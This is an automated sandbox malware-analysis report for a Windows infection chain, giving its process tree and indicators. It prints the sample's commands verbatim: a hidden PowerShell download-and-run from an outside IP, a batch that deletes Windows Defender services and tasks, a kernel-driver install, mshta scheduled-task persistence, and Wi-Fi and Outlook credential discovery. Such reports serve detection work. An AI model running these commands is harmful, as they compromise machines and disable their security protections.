Token: SeDebugPrivilege	180	tasklist.exe
Token: SeDebugPrivilege	1712	tasklist.exe
Token: SeDebugPrivilege	1852	Yhihb8G.exe

Suspicious use of FindShellTrayWindow 10 IoCs

pid	Process
4776	1S36k2.exe
1188	Jordan.com
1188	Jordan.com
1188	Jordan.com
1848	b7b0a0b8d2.exe
1848	b7b0a0b8d2.exe
1848	b7b0a0b8d2.exe
3084	Jordan.com
3084	Jordan.com
3084	Jordan.com

Suspicious use of SendNotifyMessage 9 IoCs

pid	Process
1188	Jordan.com
1188	Jordan.com
1188	Jordan.com
1848	b7b0a0b8d2.exe
1848	b7b0a0b8d2.exe
1848	b7b0a0b8d2.exe
3084	Jordan.com
3084	Jordan.com
3084	Jordan.com

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1976 wrote to memory of 4228	1976	random.exe	89
PID 1976 wrote to memory of 4228	1976	random.exe	89
PID 1976 wrote to memory of 4228	1976	random.exe	89
PID 1832 wrote to memory of 2348	1832	cmd.exe	90
PID 1832 wrote to memory of 2348	1832	cmd.exe	90
PID 4228 wrote to memory of 4776	4228	K3w02.exe	93
PID 4228 wrote to memory of 4776	4228	K3w02.exe	93
PID 4228 wrote to memory of 4776	4228	K3w02.exe	93
PID 1900 wrote to memory of 1472	1900	cmd.exe	94
PID 1900 wrote to memory of 1472	1900	cmd.exe	94
PID 4776 wrote to memory of 1316	4776	1S36k2.exe	98
PID 4776 wrote to memory of 1316	4776	1S36k2.exe	98
PID 4776 wrote to memory of 1316	4776	1S36k2.exe	98
PID 4228 wrote to memory of 3032	4228	K3w02.exe	99
PID 4228 wrote to memory of 3032	4228	K3w02.exe	99
PID 4228 wrote to memory of 3032	4228	K3w02.exe	99
PID 1316 wrote to memory of 4560	1316	rapes.exe	117
PID 1316 wrote to memory of 4560	1316	rapes.exe	117
PID 4560 wrote to memory of 4284	4560	neww.exe	119
PID 4560 wrote to memory of 4284	4560	neww.exe	119
PID 4284 wrote to memory of 1472	4284	neww.exe	120
PID 4284 wrote to memory of 1472	4284	neww.exe	120
PID 4284 wrote to memory of 1472	4284	neww.exe	120
PID 4284 wrote to memory of 1472	4284	neww.exe	120
PID 4284 wrote to memory of 1472	4284	neww.exe	120
PID 4284 wrote to memory of 1472	4284	neww.exe	120
PID 4284 wrote to memory of 1472	4284	neww.exe	120
PID 4284 wrote to memory of 1472	4284	neww.exe	120
PID 1316 wrote to memory of 2816	1316	rapes.exe	121
PID 1316 wrote to memory of 2816	1316	rapes.exe	121
PID 1316 wrote to memory of 2816	1316	rapes.exe	121
PID 2816 wrote to memory of 5048	2816	larBxd7.exe	122
PID 2816 wrote to memory of 5048	2816	larBxd7.exe	122
PID 2816 wrote to memory of 5048	2816	larBxd7.exe	122
PID 5048 wrote to memory of 3816	5048	cmd.exe	128
PID 5048 wrote to memory of 3816	5048	cmd.exe	128
PID 5048 wrote to memory of 3816	5048	cmd.exe	128
PID 5048 wrote to memory of 3660	5048	cmd.exe	129
PID 5048 wrote to memory of 3660	5048	cmd.exe	129
PID 5048 wrote to memory of 3660	5048	cmd.exe	129
PID 5048 wrote to memory of 760	5048	cmd.exe	130
PID 5048 wrote to memory of 760	5048	cmd.exe	130
PID 5048 wrote to memory of 760	5048	cmd.exe	130
PID 5048 wrote to memory of 960	5048	cmd.exe	131
PID 5048 wrote to memory of 960	5048	cmd.exe	131
PID 5048 wrote to memory of 960	5048	cmd.exe	131
PID 5048 wrote to memory of 4968	5048	cmd.exe	132
PID 5048 wrote to memory of 4968	5048	cmd.exe	132
PID 5048 wrote to memory of 4968	5048	cmd.exe	132
PID 1316 wrote to memory of 2328	1316	rapes.exe	133
PID 1316 wrote to memory of 2328	1316	rapes.exe	133
PID 1316 wrote to memory of 2328	1316	rapes.exe	133
PID 5048 wrote to memory of 416	5048	cmd.exe	134
PID 5048 wrote to memory of 416	5048	cmd.exe	134
PID 5048 wrote to memory of 416	5048	cmd.exe	134
PID 5048 wrote to memory of 2424	5048	cmd.exe	135
PID 5048 wrote to memory of 2424	5048	cmd.exe	135
PID 5048 wrote to memory of 2424	5048	cmd.exe	135
PID 5048 wrote to memory of 4564	5048	cmd.exe	136
PID 5048 wrote to memory of 4564	5048	cmd.exe	136
PID 5048 wrote to memory of 4564	5048	cmd.exe	136
PID 5048 wrote to memory of 5024	5048	cmd.exe	137
PID 5048 wrote to memory of 5024	5048	cmd.exe	137
PID 5048 wrote to memory of 5024	5048	cmd.exe	137

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-805952410-2104024357-1716932545-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Yhihb8G.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-805952410-2104024357-1716932545-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Yhihb8G.exe

C:\Users\Admin\AppData\Local\Temp\random.exe
"C:\Users\Admin\AppData\Local\Temp\random.exe"
1⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1976
- C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\K3w02.exe
  C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\K3w02.exe
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4228
- - C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1S36k2.exe
    C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\1S36k2.exe
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Checks computer location settings
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:4776
  - - C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
      "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Downloads MZ/PE file
      Checks BIOS information in registry
      Checks computer location settings
      Executes dropped EXE
      Identifies Wine through registry keys
      Suspicious use of NtSetInformationThreadHideFromDebugger
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:1316
    - - C:\Users\Admin\AppData\Local\Temp\10434090101\neww.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10434090101\neww.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:4560
      - C:\Users\Admin\AppData\Local\Temp\9996d39c308b3f235d7a20a0c727c21e\neww.exe
        
        C:\Users\Admin\AppData\Local\Temp\9996d39c308b3f235d7a20a0c727c21e\neww.exe
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of SetThreadContext
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4284
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:1472
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1472 -s 1360
        8⤵
        Program crash
        
        PID:3032
    - - C:\Users\Admin\AppData\Local\Temp\10434400101\larBxd7.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10434400101\larBxd7.exe"
        5⤵
        Checks computer location settings
        Executes dropped EXE
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2816
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c copy Cattle.psd Cattle.psd.bat & Cattle.psd.bat
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:5048
        
        C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        7⤵
        Enumerates processes with tasklist
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:3816
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "opssvc wrsa"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:3660
        
        C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        7⤵
        Enumerates processes with tasklist
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:760
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr "SophosHealth bdservicehost AvastUI AVGUI nsWscSvc ekrn"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:960
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c md 689912
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:4968
        
        C:\Windows\SysWOW64\extrac32.exe
        
        extrac32 /Y /E Exclusion.psd
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:416
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /V "users" Findarticles
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:2424
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b 689912\Jordan.com + Bg + Batteries + Boss + Illustrations + Boards + Within + Pushed + Brunei + Dead 689912\Jordan.com
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:4564
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b ..\Customized.psd + ..\Permits.psd + ..\Teeth.psd + ..\Feel.psd + ..\Nonprofit.psd + ..\Shoes.psd + ..\Bruce.psd b
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:5024
        
        C:\Users\Admin\AppData\Local\Temp\689912\Jordan.com
        
        Jordan.com b
        7⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:1188
        
        C:\Windows\SysWOW64\choice.exe
        
        choice /d y /t 5
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:868
    - - C:\Users\Admin\AppData\Local\Temp\10435260101\QWWouxX.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10435260101\QWWouxX.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:2328
    - - C:\Users\Admin\AppData\Local\Temp\10436260101\ICQ0sog.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10436260101\ICQ0sog.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:4328
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:2408
    - - C:\Users\Admin\AppData\Local\Temp\10439690101\apple.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10439690101\apple.exe"
        5⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:5012
      - C:\Users\Admin\AppData\Local\Temp\262.exe
        
        "C:\Users\Admin\AppData\Local\Temp\262.exe"
        6⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:1136
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\E9EE.tmp\E9EF.tmp\E9F0.bat C:\Users\Admin\AppData\Local\Temp\262.exe"
        7⤵
        
        PID:3628
        
        C:\Users\Admin\AppData\Local\Temp\262.exe
        
        "C:\Users\Admin\AppData\Local\Temp\262.exe" go
        8⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:4840
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\EB07.tmp\EB08.tmp\EB09.bat C:\Users\Admin\AppData\Local\Temp\262.exe go"
        9⤵
        
        PID:3272
        
        C:\Windows\system32\sc.exe
        
        sc create ddrver type= kernel binPath= "C:\Users\Admin\AppData\Local\Temp\ssisd.sys"
        10⤵
        Launches sc.exe
        
        PID:1936
        
        C:\Windows\system32\sc.exe
        
        sc start ddrver
        10⤵
        Launches sc.exe
        
        PID:3380
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        10⤵
        Delays execution with timeout.exe
        
        PID:916
        
        C:\Windows\system32\sc.exe
        
        sc stop ddrver
        10⤵
        Launches sc.exe
        
        PID:644
        
        C:\Windows\system32\sc.exe
        
        sc start ddrver
        10⤵
        Launches sc.exe
        
        PID:1432
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\ProgramData\Microsoft\Windows Defender" /r /d y
        10⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:4636
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\ProgramData\Microsoft\Windows Defender" /grant administrators:F /t
        10⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:2288
        
        C:\Windows\system32\sc.exe
        
        sc stop "WinDefend"
        10⤵
        Launches sc.exe
        
        PID:2912
        
        C:\Windows\system32\sc.exe
        
        sc delete "WinDefend"
        10⤵
        Launches sc.exe
        
        PID:2368
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\WinDefend" /f
        10⤵
        
        PID:4316
        
        C:\Windows\system32\sc.exe
        
        sc stop "MDCoreSvc"
        10⤵
        Launches sc.exe
        
        PID:1512
        
        C:\Windows\system32\sc.exe
        
        sc delete "MDCoreSvc"
        10⤵
        Launches sc.exe
        
        PID:1976
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\MDCoreSvc" /f
        10⤵
        
        PID:3456
        
        C:\Windows\system32\sc.exe
        
        sc stop "WdNisSvc"
        10⤵
        Launches sc.exe
        
        PID:1216
        
        C:\Windows\system32\sc.exe
        
        sc delete "WdNisSvc"
        10⤵
        Launches sc.exe
        
        PID:4984
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\WdNisSvc" /f
        10⤵
        
        PID:2652
        
        C:\Windows\system32\sc.exe
        
        sc stop "Sense"
        10⤵
        Launches sc.exe
        
        PID:2032
        
        C:\Windows\system32\sc.exe
        
        sc delete "Sense"
        10⤵
        Launches sc.exe
        
        PID:848
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\Sense" /f
        10⤵
        
        PID:2508
        
        C:\Windows\system32\sc.exe
        
        sc stop "wscsvc"
        10⤵
        Launches sc.exe
        
        PID:4396
        
        C:\Windows\system32\sc.exe
        
        sc delete "wscsvc"
        10⤵
        Launches sc.exe
        
        PID:2268
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\wscsvc" /f
        10⤵
        Modifies security service
        
        PID:920
        
        C:\Windows\system32\sc.exe
        
        sc stop "SgrmBroker"
        10⤵
        Launches sc.exe
        
        PID:2496
        
        C:\Windows\system32\sc.exe
        
        sc delete "SgrmBroker"
        10⤵
        Launches sc.exe
        
        PID:736
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\SgrmBroker" /f
        10⤵
        
        PID:1908
        
        C:\Windows\system32\sc.exe
        
        sc stop "SecurityHealthService"
        10⤵
        Launches sc.exe
        
        PID:4160
        
        C:\Windows\system32\sc.exe
        
        sc delete "SecurityHealthService"
        10⤵
        Launches sc.exe
        
        PID:8
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\SecurityHealthService" /f
        10⤵
        
        PID:2860
        
        C:\Windows\system32\sc.exe
        
        sc stop "webthreatdefsvc"
        10⤵
        Launches sc.exe
        
        PID:1832
        
        C:\Windows\system32\sc.exe
        
        sc delete "webthreatdefsvc"
        10⤵
        Launches sc.exe
        
        PID:4368
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\webthreatdefsvc" /f
        10⤵
        
        PID:4712
        
        C:\Windows\system32\sc.exe
        
        sc stop "webthreatdefusersvc"
        10⤵
        Launches sc.exe
        
        PID:1340
        
        C:\Windows\system32\sc.exe
        
        sc delete "webthreatdefusersvc"
        10⤵
        Launches sc.exe
        
        PID:1712
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\webthreatdefusersvc" /f
        10⤵
        
        PID:1544
        
        C:\Windows\system32\sc.exe
        
        sc stop "WdNisDrv"
        10⤵
        Launches sc.exe
        
        PID:4508
        
        C:\Windows\system32\sc.exe
        
        sc delete "WdNisDrv"
        10⤵
        Launches sc.exe
        
        PID:400
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\WdNisDrv" /f
        10⤵
        
        PID:2552
        
        C:\Windows\system32\sc.exe
        
        sc stop "WdBoot"
        10⤵
        Launches sc.exe
        
        PID:5064
        
        C:\Windows\system32\sc.exe
        
        sc delete "WdBoot"
        10⤵
        Launches sc.exe
        
        PID:208
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\WdBoot" /f
        10⤵
        
        PID:1460
        
        C:\Windows\system32\sc.exe
        
        sc stop "WdFilter"
        10⤵
        Launches sc.exe
        
        PID:3832
        
        C:\Windows\system32\sc.exe
        
        sc delete "WdFilter"
        10⤵
        Launches sc.exe
        
        PID:4060
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\WdFilter" /f
        10⤵
        
        PID:5040
        
        C:\Windows\system32\sc.exe
        
        sc stop "SgrmAgent"
        10⤵
        Launches sc.exe
        
        PID:3312
        
        C:\Windows\system32\sc.exe
        
        sc delete "SgrmAgent"
        10⤵
        Launches sc.exe
        
        PID:2712
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\SgrmAgent" /f
        10⤵
        
        PID:1108
        
        C:\Windows\system32\sc.exe
        
        sc stop "MsSecWfp"
        10⤵
        Launches sc.exe
        
        PID:960
        
        C:\Windows\system32\sc.exe
        
        sc delete "MsSecWfp"
        10⤵
        Launches sc.exe
        
        PID:3876
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\MsSecWfp" /f
        10⤵
        
        PID:4228
        
        C:\Windows\system32\sc.exe
        
        sc stop "MsSecFlt"
        10⤵
        Launches sc.exe
        
        PID:1996
        
        C:\Windows\system32\sc.exe
        
        sc delete "MsSecFlt"
        10⤵
        Launches sc.exe
        
        PID:1700
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\MsSecFlt" /f
        10⤵
        
        PID:1576
        
        C:\Windows\system32\sc.exe
        
        sc stop "MsSecCore"
        10⤵
        Launches sc.exe
        
        PID:5036
        
        C:\Windows\system32\sc.exe
        
        sc delete "MsSecCore"
        10⤵
        Launches sc.exe
        
        PID:5032
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\MsSecCore" /f
        10⤵
        
        PID:264
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /f
        10⤵
        
        PID:3692
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /f
        10⤵
        
        PID:812
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /f
        10⤵
        
        PID:3908
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /f
        10⤵
        
        PID:2816
        
        C:\Windows\system32\sc.exe
        
        sc stop ddrver
        10⤵
        Launches sc.exe
        
        PID:2088
        
        C:\Windows\system32\sc.exe
        
        sc delete ddrver
        10⤵
        Launches sc.exe
        
        PID:3676
    - - C:\Users\Admin\AppData\Local\Temp\10443260101\qhjMWht.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10443260101\qhjMWht.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:4676
    - - C:\Users\Admin\AppData\Local\Temp\10444380101\b7b0a0b8d2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10444380101\b7b0a0b8d2.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:1848
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn qPEShma9E3L /tr "mshta C:\Users\Admin\AppData\Local\Temp\UM8Kqz1Ru.hta" /sc minute /mo 25 /ru "Admin" /f
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:2332
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn qPEShma9E3L /tr "mshta C:\Users\Admin\AppData\Local\Temp\UM8Kqz1Ru.hta" /sc minute /mo 25 /ru "Admin" /f
        7⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:848
      - C:\Windows\SysWOW64\mshta.exe
        
        mshta C:\Users\Admin\AppData\Local\Temp\UM8Kqz1Ru.hta
        6⤵
        Checks computer location settings
        System Location Discovery: System Language Discovery
        
        PID:1216
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'RWNKLAT3EMCSWU8DVCOGCKQFCUURG9TL.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
        7⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Downloads MZ/PE file
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4268
        
        C:\Users\Admin\AppData\Local\TempRWNKLAT3EMCSWU8DVCOGCKQFCUURG9TL.EXE
        
        "C:\Users\Admin\AppData\Local\TempRWNKLAT3EMCSWU8DVCOGCKQFCUURG9TL.EXE"
        8⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:3784
    - - C:\Users\Admin\AppData\Local\Temp\10444390101\be159e18fb.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10444390101\be159e18fb.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:2220
    - - C:\Users\Admin\AppData\Local\Temp\10444400101\5ca174ac3b.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10444400101\5ca174ac3b.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        
        PID:2524
      - C:\Users\Admin\AppData\Local\Temp\svchost015.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10444400101\5ca174ac3b.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:3012
    - - C:\Users\Admin\AppData\Local\Temp\10444410101\32e25fa3a5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10444410101\32e25fa3a5.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:4704
      - C:\Users\Admin\AppData\Local\Temp\svchost015.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10444410101\32e25fa3a5.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:4424
    - - C:\Users\Admin\AppData\Local\Temp\10444420101\qhjMWht.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10444420101\qhjMWht.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:208
    - - C:\Users\Admin\AppData\Local\Temp\10444430101\ICQ0sog.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10444430101\ICQ0sog.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:5040
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        6⤵
        
        PID:3312
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        6⤵
        
        PID:3700
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        6⤵
        
        PID:4316
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:2712
    - - C:\Users\Admin\AppData\Local\Temp\10444440101\larBxd7.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10444440101\larBxd7.exe"
        5⤵
        Checks computer location settings
        Executes dropped EXE
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:2312
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c copy Cattle.psd Cattle.psd.bat & Cattle.psd.bat
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:4392
        
        C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        7⤵
        Enumerates processes with tasklist
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:180
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "opssvc wrsa"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:3264
        
        C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        7⤵
        Enumerates processes with tasklist
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:1712
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr "SophosHealth bdservicehost AvastUI AVGUI nsWscSvc ekrn"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:2616
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c md 689912
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:844
        
        C:\Windows\SysWOW64\extrac32.exe
        
        extrac32 /Y /E Exclusion.psd
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:1840
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /V "users" Findarticles
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:4584
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b 689912\Jordan.com + Bg + Batteries + Boss + Illustrations + Boards + Within + Pushed + Brunei + Dead 689912\Jordan.com
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:3868
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b ..\Customized.psd + ..\Permits.psd + ..\Teeth.psd + ..\Feel.psd + ..\Nonprofit.psd + ..\Shoes.psd + ..\Bruce.psd b
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:5012
        
        C:\Users\Admin\AppData\Local\Temp\689912\Jordan.com
        
        Jordan.com b
        7⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:3084
        
        C:\Windows\SysWOW64\choice.exe
        
        choice /d y /t 5
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:3888
    - - C:\Users\Admin\AppData\Local\Temp\10444450101\Yhihb8G.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10444450101\Yhihb8G.exe"
        5⤵
        Executes dropped EXE
        Accesses Microsoft Outlook profiles
        System Location Discovery: System Language Discovery
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        outlook_office_path
        outlook_win_path
        
        PID:1852
      - C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All
        6⤵
        System Location Discovery: System Language Discovery
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:3456
        
        C:\Windows\SysWOW64\chcp.com
        
        chcp 65001
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:3968
        
        C:\Windows\SysWOW64\netsh.exe
        
        netsh wlan show profile
        7⤵
